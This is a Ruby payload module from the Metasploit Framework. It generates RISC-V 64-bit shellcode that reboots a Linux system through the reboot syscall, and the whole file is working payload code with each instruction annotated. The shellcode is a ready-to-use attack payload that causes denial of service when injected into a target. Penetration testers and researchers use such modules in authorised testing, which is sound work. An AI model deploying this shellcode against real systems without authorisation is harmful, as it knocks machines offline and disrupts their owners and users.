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rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/riscv64le/reboot.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 40
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include Msf::Payload::Single
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def initialize(info = {})
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super(
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merge_info(
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info,
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'Name' => 'Linux Reboot',
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'Description' => %q{
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A very small shellcode for rebooting the system using
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the reboot syscall. This payload is sometimes helpful
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for testing purposes.
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},
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'Author' => 'bcoles',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_RISCV64LE
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)
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)
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end
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def generate(_opts = {})
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shellcode =
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[0x0007f537].pack('V*') + # lui a0,0x7f
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[0x70f5051b].pack('V*') + # addiw a0,a0,1807
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[0x00d51513].pack('V*') + # slli a0,a0,0xd
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[0xead50513].pack('V*') + # addi a0,a0,-339
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[0x281225b7].pack('V*') + # lui a1,0x28122
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[0x9695859b].pack('V*') + # addiw a1,a1,-1687
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[0x01234637].pack('V*') + # lui a2,0x1234
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[0x5676061b].pack('V*') + # addiw a2,a2,1383
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[0x08e00893].pack('V*') + # li a7,142
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[0x00000073].pack('V*') # ecall
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super.to_s + shellcode
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end
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end
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